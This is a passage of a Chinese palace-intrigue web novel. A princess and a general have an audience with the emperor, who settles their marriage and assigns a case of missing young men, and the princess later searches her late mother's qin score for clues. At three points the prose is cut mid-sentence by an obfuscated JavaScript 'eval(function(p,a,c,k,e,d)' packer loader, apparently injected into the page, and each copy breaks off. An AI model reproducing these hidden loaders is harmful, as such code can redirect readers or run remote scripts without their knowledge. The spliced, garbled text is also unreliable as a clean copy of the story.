殿内沉寂了片刻。随后,一个听不出喜怒的声音传了出来,平淡得像在谈论窗外的天气:“宣。” 德全如蒙大赦,退到一旁,清了清嗓子,提高音量唱喏:“宣——熙仁公主、骠骑大将军崔逢青——觐见!” 沉重的殿门缓缓打开。 如果说昨夜奔逃时,浮梦心中充斥着的是对自由和活命的孤注一掷,那么此刻踏进这象征至高权力的御书房,她内心反而生出一种近乎荒诞的平静。 这偌大的长安城,金碧辉煌的宫阙,对她而言不过是个更大、更华丽的囚笼。曾经的嬉笑怒骂,挣扎反抗,都只是困兽在牢笼里徒劳的表演,供那高高在上的掌权者观赏取乐罢了。 心中如是想,浮梦面上却瞬间换上了一副惶恐不安、楚楚可怜的神情。 她微微低着头,往日张扬的眉眼此刻低垂着,长长的睫毛在眼下投下一小片阴影,微微颤动,仿佛受惊的蝶翼。 那双惯常带着戏谑或慵懒的杏眸,此刻盛满了惊惶与委屈的水光,如同一泓被惊扰的秋水,泫然欲泣。这模样,与平日判若两人。 龙椅上的皇帝看到这样的浮梦,明显怔了一下。这神情……他从未在熙仁身上见过,也……似乎未曾在姬瑶身上见过。一丝极其复杂的情绪掠过他眼底。 “参见父皇(皇上),万岁,万岁,万万岁。”浮梦与崔逢青的声音同时响起,一个带着细微的哭腔,一个依旧冰冷沉稳。 崔逢青的声音像一块冰投入死水,让皇帝瞬间回神。“咳,”皇帝清了清嗓子,目光转向崔逢青,“崔将军平身,熙仁不必多礼。” “多谢父皇(皇上)。”两人再次异口同声。一人似乎还沉浸在“委屈”中,低眉顺眼;一人站得笔直,面无表情。 殿内陷入一种微妙的僵持,空气仿佛凝固了,话题被无形的钉子钉在原地。 皇帝的目光在浮梦低垂的脸上流连,带着几分探究,几分好奇。毕竟,他接到的消息只是“公主府意外走水”,公主“受惊”被崔将军暂时安置。 “熙仁,”皇帝终于开口,语气带着刻意的温和,“怎么这副模样?可是公主府……出了什么变故?”他将“变故”二字咬得稍重。 浮梦心中冷笑:老狐狸,演得真好!她像是被这句话戳中了伤心处,猛地抬起头,眼圈瞬间更红了,“噗通”一声就跪在了冰凉的金砖地上。 “父皇!”她声音带着浓重的哭腔,拿捏得恰到好处,既显得委屈万分,又不至于嚎啕失仪,“昨夜……昨夜公主府失火了,儿臣虽侥幸不在府中,可……可公主府烧了个精光,那是……那是父皇给儿臣建的家啊!” 她越说越“伤心”,仿佛用尽了力气,眼角的泪珠终于“啪嗒”一下滚落,滴落在脚边浅灰色的波斯羊羔地毯上,迅速晕开一小团深色的水痕。 这一出“孝女痛失家园”的戏码,效果堪称绝佳。 皇帝果然动容(至少表面如此),一下子从龙椅上站了起来,快步走到浮梦面前,伸手欲扶她起来,脸上满是“心疼”: “熙仁莫哭,快起来,起来慢慢说,人没事就好,府邸……府邸烧了,父皇再给你建。”他扶着浮梦的手臂,动作甚至显得有些笨拙的无措。 浮梦顺势站起,被皇帝扶着坐到一旁的紫檀木椅上。 她抬起宽大的袖摆,假意擦拭眼泪,实则遮掩自己略显僵硬的演技——一滴泪已是极限,再多也挤不出来了。 眼看着浮梦的“哭戏”快要接不下去,一直冷眼旁观的崔逢青适时地开口了。他心中对浮梦这突变的画风也是惊愕,但反应极快: “启禀陛下,”崔逢青的声音沉稳有力,将皇帝的注意力吸引过来, “昨日公主在府中烦闷,臣恰好得空,便邀请公主出城散心。城外风光甚好,公主心情愉悦,臣一时疏忽,忘了时辰。待送公主回府时,才惊悉府邸竟遭此大难……”他语气带着恰到好处的“懊悔”与“后怕”。 皇帝闻言,有些不悦地睨了崔逢青一眼,似乎在责怪他多嘴——这里有你什么事?他像是全然忘了召崔逢青入宫的主要目的。 浮梦像是被崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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崔逢青神色不变,目光坦然迎向皇帝的审视,声音沉稳有力:“陛下谬赞。此战大捷,全赖陛下运筹帷幄,将士用命,我朝兵锋正盛!臣不敢居功。若说所求……” 他顿了顿,语气带上几分恳切,“边关将士戍守苦寒之地,离家数载,思乡情切。臣斗胆,恳请陛下恩赏抚恤,特许有功将士分批归家探亲,以慰军心。” 皇帝挑了挑眉,眼中掠过一丝意外。他本以为崔逢青会趁机为崔家索要些实质性的利益,或是试探性地提一提兵权……没想到竟是这个?这倒显得他之前的多虑有些小人之心了。 “崔爱卿体恤将士,深明大义。”皇帝脸上露出一丝“欣慰”的笑容,心情似乎好了许多,“准奏!着兵部与户部速速拟个章程,犒赏三军,特许有功将士轮休探亲!”他大手一挥,显得颇为慷慨。 然而,话锋随即一转,重新落回到崔逢青和浮梦身上,笑容也带上了几分深意: “不过,爱卿为国征战,劳苦功高,朕也不能薄待。恰逢昨日天降良缘,绣球为媒,崔爱卿接下了熙仁的绣球,此乃天意,更是大喜!” 皇帝的目光在崔逢青和浮梦之间逡巡,“朕有意……” 崔逢青心中冷笑:老貔貅!边军赏赐是朝廷本就该出的,用这个堵我的嘴?面上却依旧恭敬,甚至恰到好处地流露出一点“感激”和“受宠若惊”。 “陛下圣恩,臣感激涕零。”崔逢青躬身道,“此乃天赐良缘。” 他话音未落,目光便极其自然地转向浮梦,带着一丝只有两人能懂的催促。 浮梦接到信号,立刻捏着嗓子,用她那还不甚熟练的撒娇腔调接上话茬:“父皇~”她甚至起身走到御案旁,轻轻晃了晃皇帝的胳膊,眨巴着那双刚刚“哭”过的、水汪汪的杏眼, “儿臣和崔将军……打了个小赌呢,若是父皇欣赏崔将军的才干,信任崔将军的忠心,不如……不如就特许崔将军不必因尚公主而避嫌辞官?让他继续留在朝中,为父皇分忧,为社稷效力,好不好嘛?” 她一边说,一边轻轻摇晃着皇帝的胳膊,一副“您不答应我就要哭给您看”的娇憨模样。 皇帝被浮梦拉扯得身体微晃。看着女儿这难得一见的“小女儿情态”,再想到方才自己确实没给崔逢青实质性的个人封赏(边军犒赏是公事),一场皇室赐婚若真让崔家最出色的子弟就此远离权力中心,于情于理都显得皇家刻薄寡恩。 即便他今日不开口,以崔太傅的老谋深算,也定会想方设法让崔逢青重回朝堂。与其被动,不如…… “哈哈哈,”皇帝朗声笑了,拍了拍浮梦的手,带着一种“拿你没办法”的宠溺, “好,朕准了!崔爱卿才堪大用,正值壮年,岂能因儿女私情便荒废了报国之志?准卿婚后不必遵从驸马之职。” 9. 端倪现 驸马一事,竟在御书房三言两语间尘埃落定,顺利得让崔逢青心底都掠过一丝意外。他本以为皇帝会借此机会再行试探敲打,少不得一番君臣虚与委蛇的拉扯。 这份出乎意料的“爽快”,让他不由自主地开始重新审视浮梦与皇室之间那层脆弱而诡异的关系——浮于表面的“亲情”下,是心照不宣的疏离与戒备。仿佛一层薄冰,无人敢轻易戳破,因为一旦碎裂,冰下涌动的暗流,足以将所有人卷入未知的深渊。 皇帝金口玉言甫落,目光状似无意地扫过浮梦腰间那枚略显陈旧、却始终佩戴着的游龙玉佩。 眼神深处,一丝极其复杂的暗芒倏忽掠过,快得如同错觉。他随即端起手边那杯早已凉透的顾渚紫笋,借着饮茶的动作,完美地掩去了唇边一抹难以言喻的弧度。 那神情,仿佛透过眼前亭亭玉立的女儿,看到了另一个同样佩戴着龙纹玉佩、风华绝代却最终在烈火与高楼间香消玉殒的凄艳身影——姬瑶。 短暂的恍惚被帝王心术迅速压下。既然在驸马任职一事上开了口子,自然不能让他闲着。皇帝放下茶杯,指节在光滑的紫檀御案上轻轻叩击,发出沉闷的声响,将崔逢青的思绪拉回。 “既如此,”皇帝的声音恢复了惯常的平稳,带着不容置疑的威仪,“长安城近来有桩悬案,搅得人心惶惶,便全权交由逢青去办吧。” 他顿了顿,目光锐利地看向崔逢青,"此案疑点重重,牵连甚广,三司衙门联合查了整整三月,竟如石沉大海,毫无线索头绪,着实令朕心忧。” 他话锋一转,语气带上几分“体恤”:“只是,婚期已定在桂月初六。钦天监算过,是个百年难遇的上上大吉之日,不宜更改。爱卿若能在此吉期之前将此案查个水落石出……”皇帝意味深长地拖长了尾音,虽未明言,但其中期许与无形的压力,已昭然若揭。 “德全。”皇帝朝门外唤了一声。 德全应声而入,如同一个没有重量的影子,悄无声息地将一份厚重的卷宗呈送到崔逢青面前。“骠骑将军,此乃案情的相关卷宗,请过目。” 崔逢青双手接过那沉甸甸的卷宗,指尖触碰到冰凉的锦缎封面。他垂眸,掩去眼底一闪而过的冷嘲。 好一个“一唱一和”,婚期轻描淡写带过,真正的重点却落在了这桩烫手的“疑案”上。今日这场召见,分明是早已备好的局。有趣,他微微躬身,声音听不出波澜:“臣,谢陛下赐婚。疑案之事,臣自当竭尽全力,不负圣望。” 浮梦冷眼看着御案前两人搭台唱戏。自己这个“公主”,不过是他们君臣博弈中一个顺带的由头,一块搭建舞台的背景板。后续的刀光剑影、疑云诡谲,似乎都与她无关了。 她索性不再言语,只是安静地坐着,一双看似平静的杏眸,细细观察着两人言语间的机锋与神色流转的微妙变化。 然而,方才皇帝扫过玉佩时那转瞬即逝的异样,以及“桂月初六”这个似曾相识的日子,像投入心湖的石子,激起了更深的涟漪。 她猛地想起文先生信中那句石破天惊的质问:“宫中府中,可存姬夫人半幅真容?可敢让公主睹物思人?!” 一股混杂着思念、不甘与愤怒的情绪涌上心头。她深吸一口气,不再扮演那个乖巧或惶恐的女儿,声音带着一种刻意压抑的、近乎直白的恳切,打断了君臣间无声的较量: “父皇,”浮梦抬起眼,目光直直望向龙椅上的皇帝,不再回避, “儿臣有一事不明。为何公主府中……寻不到母亲一幅画像?儿臣知晓父皇日理万机,儿臣及笄之礼未能操办,儿臣不敢有怨。可是……” 她的声音微微发颤,带着一丝不易察觉的哽咽,这并非全然做戏,而是十年记忆空白下,对那模糊母爱的本能渴望与巨大失落,“儿臣……想母亲了。只想看看她的样子,哪怕……只是一眼。” 御书房内瞬间陷入一片死寂。空气仿佛凝固了,连德全都下意识地屏住了呼吸。 皇帝面上的神情纹丝未动,依旧是那副沉稳如山的帝王仪态,仿佛浮梦问的只是一个无关紧要的问题。他端起茶杯,慢条斯理地用杯盖撇着浮沫,声音是一贯的温和腔调,却透着一股不容置疑的疏离: “你母亲啊……”他像是陷入了某种遥远的回忆,语气飘忽, “她生性恬淡,不喜张扬,尤其不喜旁人替她画像,总觉得画匠之笔,难描其神韵之万一。是以……并未留下什么画作。” 理由听起来合情合理,却轻飘飘地将浮梦所有的追问堵了回去。 浮梦张了张嘴,还想再问——宫中画师呢?难道连一幅宫廷记录都没有?母亲生前,难道就没有至交好友为她留下丹青?无数疑问在她喉间翻涌。 然而,皇帝显然不打算给她继续探究的机会。 “时候不早了。”皇帝放下茶杯,声音带着不容反驳的送客之意,目光掠过浮梦,落在崔逢青身上,“婚期在即,诸多事宜需筹备。熙仁,逢青,你们二人也早做打算吧。”说罢,他不再看他们,径直拂袖一挥,示意德全送客。 那姿态,是彻底的拒绝与终结。 浮梦心中憋闷,指甲几乎要掐进掌心。她不甘地看向皇帝,却感觉袖口被一股极轻微的力量扯动。她侧目,对上崔逢青几不可察的摇头眼神——不可再问。皇帝心意已决,强留无益。 她强压下翻腾的心绪,随着崔逢青默默行礼告退。 承天门外。 宫道漫长,一路无话。浮梦沉浸在自己的思绪里,崔逢青则若有所思地摩挲着卷宗的边缘。两人行至承天门那巍峨的阴影下时,却被前方一阵异样的动静生生拽回了现实。 沉闷的、令人心悸的“啪!啪!”声,伴随着压抑的、濒死的呻吟,刺破了宫门的肃穆。 只见宫门内侧的广场上,一人被剥去上衣,反绑在行刑柱上。两名身材魁梧的禁卫,正轮番挥舞着浸过盐水的牛皮鞭,狠狠抽打在那早已皮开肉绽、血肉模糊的脊背上! 每一次鞭落,都带起一片飞溅的血沫和破碎的皮肉,受刑者头颅低垂,气息奄奄,已然不成人形,唯有身体还在鞭笞下无意识地抽搐。 浮梦的脚步瞬间钉在原地,胃里一阵翻江倒海。饶是她见惯了长安城的风浪,如此近距离目睹这般酷刑,强烈的视觉冲击和浓重的血腥味仍让她脸色发白。 行刑者似乎察觉到有人靠近,在浮梦和崔逢青距离行刑柱仅几步之遥时,猛地停下了手中的动作。其中一人抱鞭而立,声音不高不低,带着禁军特有的刻板与漠然: “参见熙仁公主、骠骑大将军。我等奉旨在此行刑,污了殿下和将军的眼,还请见谅。”语气看似恭敬,却透着一股公事公办的冰冷,听不出半分请罪的诚意。 浮梦敛眉垂目,强压下心头的不适与那丝挥之不去的诡异感。她直觉此事不对,不欲多看,更不欲多问,只想尽快离开这血腥之地。她轻轻拽了拽春意的衣袖,示意绕开这令人作呕的“现场”。 然而,有人显然不打算让她如愿。 一直跟在身后的德全,此时却一步跨上前来,恰好挡在了浮梦侧前方。他脸上依旧挂着那副谦卑恭顺的笑容,声音尖细,却带着一丝不易察觉的引导: “公主殿下,”德全微微躬身,目光却若有似无地扫过那血肉模糊的人影,“您……就不关心关心,这受刑之人是谁?所犯何事,竟落得如此下场?” 浮梦的心猛地一沉!她瞬间明白了。崔逢青在宫门口已与她分开,去向不明。 这场血淋淋的“表演”,根本就是做给她一个人看的!是警告,也是宣告——即便她不想知道,也必须知道。 一股冰冷的怒意自心底升起。她抬起头,脸上却瞬间换上了一副浮夸的惊讶与玩味,甚至还带着点不谙世事的好奇: “哦?”浮梦拖长了调子,目光在德全和那受刑者之间来回逡巡,“德全公公似乎对此人……颇为关切?”她故意歪了歪头,语气带着天真的残忍, “莫不是……公公的什么远房亲戚?哎呀!”她忽然惊呼一声,用帕子掩住口鼻,仿佛被那惨状吓到,“怎么会打成这样?看着……连个囫囵样子都没了!真是可怜呐。” 德全脸上的笑容纹丝未动,仿佛戴着一张完美的面具,连眼神都没有丝毫波澜。他微微躬身,声音依旧平稳: “公主殿下说笑了。老奴不过是个残缺之人,在这世上茕茕孑立,形影相吊,哪还有什么亲眷可谈?”他话锋一转,语气陡然变得肃杀,如同宣读判决: “此人,乃西门守将——张令。昨夜玩忽职守,犯下大错,陛下震怒,特下旨于承天门外,当众鞭刑八十,以儆效尤。” 张令——张直长。 浮梦心中冷笑。果然是他,这个贪财怕死、作恶多端的蛀虫,若不是仗着背后有人,京兆府的牢房早该被他睡穿了,死有余辜。 面上,浮梦却像是听到了一个无关紧要的名字,甚至无聊地玩起了自己纤细的手指,身体微微摇晃着,眼神飘忽地东张西望,浑身上下都写满了“不感兴趣”和“与我无关”。 “哦,知道了。”她懒洋洋地应了一声,仿佛德全说的不过是今日天气如何。随即,她拉起惊魂未定的春意,语气轻快得近乎刻意: “本宫乏了,还有事,先走一步。德公公,辛苦你‘监刑’了。” 说罢,她不再看任何人,径直走向早已等候在宫门外的马车,姿态优雅却又带着一种刻意的疏离与漠然。春意连忙跟上,搀扶着她登车。 德全身边一个年轻的小太监,显然气不过浮梦这副“不识好歹”的态度,盯着马车离去的方向,忍不住低声啐道: “哼!果然是有娘生没娘养的东西!如此酷刑当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“没事……”她的声音有些沙哑,“父皇说……婚期定在桂月初六。” “桂月初六?!”春意一听,瞬间把刚才的血腥场面和担忧都抛到了脑后,眼睛瞪得溜圆, “这……这都七月廿七了,桂月初六岂不是就在眼前?!满打满算只剩九天,这……这怎么来得及啊……” 她急得在屋子里团团转,手指无意识地绞着衣角,“嫁衣、凤冠、首饰、还有公主府那边……哎呀,不行不行,奴婢现在就得去张罗,就算天塌下来也得先把……” 春意瞬间进入了“战斗”状态,嘴里噼里啪啦地开始盘算需要置办的东西,焦虑之情溢于言表。 浮梦却没有理会春意的焦虑。她的思绪早已飘到了别处。皇帝丢给崔逢青的那桩案子……城西男子离奇失踪案……此事在长安早已传得沸沸扬扬,人心惶惶。 最初是城西一些刚行过加冠礼、年轻力壮的男子,毫无征兆地消失,家人遍寻不见。后来,范围竟逐渐扩大到城南,失踪者皆是年纪相仿、样貌周正甚至称得上俊秀的青年。 他们就像被无形的烟雾吞噬,风过无痕,消失得干干净净。官府查了数月,竟如泥牛入海,毫无头绪。 “对了,”浮梦忽然开口,打断了春意喋喋不休的盘算,声音带着一丝不易察觉的凝重,“城西那桩男子失踪的案子,最近可有什么新动静?” 春意被问得一怔,努力从嫁妆清单的思绪里挣脱出来,想了想回道:“公主放心,咱们城东这边还算安宁,没听说有类似的事情发生。至于其他地方……” 她皱起眉,“说来也怪,好像自从三司接手、闹得满城风雨之后,城西那边……反倒消停了不少?最近没听说再有谁家郎君不见了。” “消停了?”浮梦的眉头却蹙得更紧。她回想起在“旧故里”听来的那些零碎消息,那些酒客或真或假的议论,以及某些知情者讳莫如深的表情。 直觉告诉她,此事绝不可能如此简单,背后之人胃口如此之大,行事如此缜密,怎会因官府介入就轻易收手?这反常的“平静”,更像是暴风雨来临前的死寂,或是……猎物转移前的蛰伏。 她脑中蓦地闪过张直长(张令)那张在酒桌上因醉酒而显得格外猥琐油腻的脸。 就在不久前的某个夜晚,在“旧故里”的某个角落,他搂着歌姬,醉醺醺地大放厥词,带着一种下流的得意和莫名的优越感: “嗝……你们……你们懂个屁!那那主儿……眼光高着呢!专挑……专挑那些刚加冠、模样俊、身板儿好的小郎君下手!嘿嘿……像咱们这样的……” 他指了指自己满是横肉的脸和臃肿的身材,“……想送上门去,人家……人家还嫌磕碜呢,没……没机会!” 当时只当是醉鬼的胡言乱语,如今想来,那混浊的醉眼里,或许真的藏着几分不为人知的真相碎片? 一股寒意,悄然爬上浮梦的脊背。 10. 城西案 窗外的蝉鸣聒噪,搅动着七月流火的闷热空气。 浮梦坐在客栈简陋的窗边,指尖无意识地在粗糙的桌面上划着,方才对失踪案的思绪带来的寒意尚未完全从脊背上褪去,那点微末的暖意也被这沉闷压得几乎消散。 “咚咚咚!” 突兀而略显急促的敲门声骤然响起,如同投入死水的石子。 不仅赶跑了浮梦后背残余的寒意,更将她惊得心脏“嘭嘭”跳春意更是吓得差点从凳子上弹起来。 “谁?!”浮梦蹙眉扬声问道,语气带着被打扰的不悦和一丝警惕。自从那夜被崔逢青堵在城外荒野,她对任何不速之客都多了戒备。 门外传来一个低沉、略显刻板,却又中规中矩、让人挑不出错处的声音: “公主殿下万福。末将王松年,乃骠骑将军麾下校尉。奉将军之命,特来给公主送药。” 声音隔着门板传来,带着军中之人特有的疏离与一丝不易察觉的拘谨。 春意拍了拍胸口,定了定神,蹑手蹑脚地走到门边。 经历过上次崔逢青的“夜半惊魂”,她的警惕心拉满。她没有立刻开门,而是先凑近门缝,小心翼翼地向外窥视。 这一看,却让她愣住了。 门外并非想象中全副武装的兵士。只见一个极其魁梧的背影,几乎将整个狭窄的门缝塞得满满当当。 那人身披玄色轻甲,甲叶在门外廊道昏暗的光线下泛着幽冷的乌光,身形挺拔如铁塔,肩膀宽阔得仿佛能扛起千斤重担。 他并非正对着门,而是……背对着门站立,这个姿势在送东西时显得格外怪异。 逆着光看到他头盔下露出的、肌肉虬结的脖颈,以及随着他细微呼吸而微微起伏的、覆盖着铠甲的宽阔后背。 “背对着门送药?”春意心中的警惕瞬间被巨大的好奇取代。她犹豫了一下,还是伸手,“吱嘎”一声,用力将房门拉开。 门轴转动的声音显然惊动了门外之人。王松年耳朵几不可察地动了一下,但他并未立即转身,依旧保持着那副背对房门的姿势,仿佛一尊凝固的铁铸雕像。 他清了清嗓子,声音依旧平稳刻板,像是在宣读军令: “此药乃骠骑将军命末将送来,言明专治惊厥不安之症。” 语毕,他才以一种极其标准、近乎一板一眼的动作,缓缓转过身来。 映入春意眼帘的是一张极其方正、棱角分明的脸。肤色是久经沙场的古铜色,浓眉如墨,鼻梁高挺,嘴唇紧抿成一条坚毅的直线。 最引人注目的是他那双眼睛,目光平直,毫无波澜,仿佛两口深不见底的古井,此刻正低垂着眼睑,视线恭谨地落在自己呈上的双手之间——那里托着一个小巧精致的红丝绒盒子。 他双手捧着盒子,手臂肌肉在轻甲下贲张,动作却异常平稳,如同托着易碎的珍宝。 他保持着这个姿势,垂眸静立,仿佛只要屋内的人不开口,他就能这样站到天荒地老,直到春意终于反应过来,上前一步,接过了木盒。 直到木盒离手,王松年才像是完成了某个神圣的仪式,微微颔首,声音依旧平稳无波:“药已送达,末将告退。” 说完,他竟不再看屋内一眼,转身,迈开大步,脚下生风般沿着连廊离去。 沉重的军靴踏在木地板上,发出沉闷而规律的“咚、咚”声,不过三两步,他那魁梧的身影便消失在楼梯拐角,只留下空气中一丝若有似无的铁锈与汗水的混合气息。 浮梦自始至终,只看到了王松年那宽阔的背影,以及他转身瞬间那棱角分明的侧脸轮廓,连他完整的正脸都未曾看清。 春意捧着木盒走回房内,关上房门,主仆二人视线一对,回想起方才那古怪又透着几分耿直的一幕,不约而同地“噗嗤”一声笑了出来。 “噗……哈哈哈……” 压抑的笑声在房间内漾开,冲淡了方才的沉闷与紧张。 “这人……”春意笑得眼泪都快出来了,将木盒放在桌上,“倒真是个妙人!和崔将军那副冷冰冰、心思深沉的劲儿,可一点都不一样。” 她擦着眼角笑出的泪花。 浮梦忍俊不禁,摇了摇头,伸手打开那个盒子。 盒内铺着柔软的锦缎,锦缎中央,稳稳放着一个约莫两寸高的瓷瓶。 这瓷瓶造型圆润流畅,釉色极为独特,并非纯白,而是泛着一层柔和如春日桃瓣般的粉润珠光,在略显昏暗的室内,竟似有光华流转。 她好奇地拿起瓷瓶,入手微沉,更奇异的是,瓶身触手温润,竟有一股温和的暖意自掌心传来,在这闷热的七月天里,显得有些格格不入。 浮梦一手慵懒地支着下巴,另一手漫不经心地把玩着这温润的药瓶,指尖感受着那奇异的暖意,若有所思: “崔逢青派这么个……实心眼的来送药,倒也算知人善任。难为他一个军中悍将,屈尊来给本宫送这玩意儿。” 她顿了顿,秀眉微蹙,一丝疑惑浮上心头,“不过……他为何要送药?还是治惊厥的?” 这借口听着就敷衍。 春意止住笑,想了想,拍着胸脯顺气: “殿下,那王校尉不是说,是治惊厥不安之症吗?许是……许是将军担心公主您昨夜受了惊吓,加上公主府……没了,怕您心神不宁,夜里睡不安稳?” 她说着说着,眼珠滴溜溜一转,脸上忽然绽开一个狡黠的笑容,带着点促狭, “那要奴婢说呀,将军光送药可不够体贴。公主府都烧没了,咱们还住在客栈里呢,将军若是真有心,该给公主寻个安稳舒适的新住处才是正理。” 浮梦放下药瓶,抬起眼帘,似笑非笑地看着春意,故意曲解她的意思: “哦?听你这意思……莫非是看中了哪处好宅子?说来听听?” “啊?”春意被这突如其来的转折问得一愣,脸上满是惊愕, “公主!奴婢……奴婢方才明明是在说将军……” 她一时语塞,脸都憋红了。这话题怎么跳得比兔子还快?刚才不还在讨论崔将军送药的用意吗? …… 王松年并未走远,他魁梧的身影就坐在“不停客栈”斜对面另一家客栈二楼的临窗位置。 这个角度,恰好能将“不停客栈”的大门、侧门乃至部分临街窗户的动静尽收眼底。 他面前放着一碗粗茶,却一口未动,浓眉紧锁,眼神锐利如鹰隼,严密地监视着“不停客栈”进出的每一个人、每一辆车马。 此时王松年心中正懊恼不已:若非昨夜多喝了几碗水,何至于半夜起夜?若不起夜,又怎会好死不死地在院中撞见将军?若没撞见将军,今日这跑腿兼盯梢的苦差事,又怎会落到他这个只会舞刀弄枪的粗人头上? 守在这嘈杂的客栈里,看着楼下人流如织、车水马龙,简直比在边关啃沙子还磨人。 更让他烦躁的是,将军交代的话,他才说了一半——将军让他转告公主,说京郊有处清幽的园子,依山傍水,甚是雅致,若公主在客栈住得烦闷了,不妨过去散散心,权当暂住。 可刚才那情形……他连公主正脸都没看清,更别说传达这些话了,怎么交代?王松年重重地叹了口气,粗粝的手指无意识地敲击着桌面。 就在他满心想着如何向将军复命时,楼下原本熙攘嘈杂的街道上,突然爆发出一阵刺耳的喧哗。 “哎哟——你他娘的没长眼睛啊?!撞到老子了知道不?赶紧给老子道歉!” 一声粗野的怒骂如同炸雷,瞬间吸引了整条街的目光。 只见一个膀大腰圆、满脸横肉的壮汉,正揪着一个身材单薄书生的衣领,唾沫星子几乎喷到对方脸上。 那壮汉手臂肌肉虬结,力气奇大,竟将那书生揪得双脚微微离地,书生脸色涨红,只能踮着脚尖勉强喘息,模样狼狈不堪。 人群如同嗅到血腥味的苍蝇,瞬间呼啦一下围拢过来,自发地形成了一个密不透风的圆圈。 好事者纷纷掏出瓜子、花生,一边嗑着,一边兴致勃勃地等着看这场街头冲突的好戏。 被揪住的书生,穿着一身洗得发白、打着补丁的旧儒衫,虽显寒酸,却浆洗得干干净净,透着读书人的清贫与体面。 在城西,这样的寒门学子并不少见,多是在科举路上挣扎求存的苦读之人。 “这……这位兄台,”书生艰难地喘息着,努力挤出声音,语气带着读书人的斯文和息事宁人的恳求, “误会,都是误会!小生方才……方才情急之下冲撞了兄台,实非有意,在此给兄台赔个不是了。” 他一边说,一边试探性地轻轻拍了拍壮汉那扼住自己咽喉的、青筋暴起的手背,“可否……可否先将小生放下?有话……好说……” 那壮汉见他态度还算恭顺,脸上横肉抖了抖,似乎也觉得自己有些过分,“嘚”地一下松开了手。 书生猝不及防,被这力道带得向后踉跄几步,结结实实一屁股摔在了地上,激起一片尘土。 壮汉看着他摔在地上,粗犷的脸上掠过一丝不易察觉的尴尬,但并未伸手去扶。 那书生倒也硬气,龇牙咧嘴地吸了口气,便自己利落地爬了起来,一边拍打着衣袍上的灰尘,一边对着壮汉躬身行了个大礼,姿态放得极低: “方才确是小生莽撞,皆因……皆因有人一路从城南尾随小生至此,小生心中惊惧,只顾着摆脱纠缠,一时情急未曾看清前路,这才冲撞了兄台。千错万错,皆是小生之过,还望兄台大人大量,海涵则个。” 他语气诚恳,姿态谦卑到了尘埃里。 这一番做派下来,那壮汉反倒有些不好意思了,连忙上前一步,伸手虚扶了一下: “哎,兄弟,快别这样!小事儿,小事儿!头回听人这么文绉绉地叫我‘兄台’,怪不习惯的!” 他挠了挠后脑勺,铜铃大眼上下打量着书生单薄的身板,带着点北方汉子的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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浮梦挑挑眉,收回了准备叫春意的手。这王校尉看着呆板,警觉性和行动力倒是不差。 城南尾随而来,城西寒门书生,模样周正,身板瘦弱…… 这几个词稍加联想,便足以让她联想到那桩令长安城人心惶惶的失踪案。 王松年将他带走,显然是察觉到了异常,定会严加盘问。 这背后牵扯的水深得很,非一时半刻能查清,她现在贸然插手,反而可能打草惊蛇。 罢了。 浮梦收回目光,重新拿起筷子,夹起碗中早已凉透的菜肴,食不知味地送入口中,思绪却像脱缰的野马,不受控制地奔涌。 今日皇帝并未像往常一样派人送来那特制的“镇痛药”。 是因为知道了文先生冒险送来的药?还是说……那文先生,自始至终也不过是皇帝手中的一颗棋子? 若真是如此,那她今日在御书房关于母亲画像的试探,岂非毫无价值,反而可能暴露了自己? 承天门外,张令那血肉模糊的惨状,仅仅是皇帝冷酷的警示吗?还是有更深层的含义? 春意看着公主心不在焉、食不下咽的模样,心中担忧。 她默默收拾了桌上的碗碟,轻声唤人进来撤走。然后,她走到房间角落,翻找出一个用蓝布包裹的长条物件。 “公主,”春意抱着包裹走到浮梦身边,试图转移她的注意力,声音带着一丝哄劝的意味, “您看,文先生今早托人悄悄送来的,除了那封信,还有这个。”她解开蓝布,露出一把古琴。 琴身是深沉的栗色,木质温润,透着岁月的包浆,琴尾处有细微的磕碰痕迹,一看便是有些年头的旧物。 最显眼的是那七根琴弦,却是崭新的,在光线下泛着柔韧的银光,与古旧的琴身形成鲜明对比。 “奴婢不懂琴,但看着成色古旧,应是老物件了。只是这琴弦……明显是刚换过不久的。” “琴……”浮梦的目光落在那把古琴上,像是被什么东西骤然击中,她猛地站起身来,一把抓过春意手中包裹着琴谱的蓝布。 “琴谱!对了,琴谱!”她眼中爆发出一种奇异的光芒,声音带着急促的兴奋,“母亲爱琴,琴谱……琴谱上或许会留下什么。” 春意被公主突如其来的激动吓了一跳,随即反应过来: “公主是说……夫人留下的琴谱?”她立刻安抚道:“殿下别急,昨夜带出的物件中就有琴谱。” 公主翻找的时候,春意注意着门外候着的几名健壮仆妇。 这几个人,是今早崔逢青派人送来的,说是“顺手”买的几个下人,供公主驱使。 浮梦对此不置可否。在这长安城里,用谁的人不是用? 左右都不过是监视的眼睛罢了,她此刻的心思,全在那本可能藏有秘密的琴谱上。 11. 无用功 浮梦将自己关在客栈厢房内,整整三日。 窗外日升月落,蝉鸣聒噪,她却仿佛置身于一个隔绝的茧中。 那本泛黄、边缘已磨得毛糙的琴谱,被她摊在桌案上,一页页,一行行,甚至每一个墨点、每一处因年代久远而晕开的淡痕,都被她那双熬得布满红丝的杏眸,反复地、近乎偏执地审视着。 指尖捻着薄脆的纸张,小心翼翼地透光查看,试图在纸背或夹层里发现隐藏的墨迹;凑近鼻端,细嗅那陈年纸张与墨香混合的气息中,是否藏有母亲惯用的、某种特殊香料的线索; 甚至尝试用微湿的指尖,轻轻按压某些看似无意义的空白处,期盼着某种秘写药水留下的痕迹能显现出来…… 她投入了全部的心神,如同溺水者抓住最后一根浮木。 文先生那句“可存姬夫人半幅真容?可敢让公主睹物思人?!”的质问,像烧红的烙铁,烫在她心上,也点燃了她微弱的希望之火。 这琴谱,是母亲留下的旧物,文先生特意送来古琴,其中必有深意。 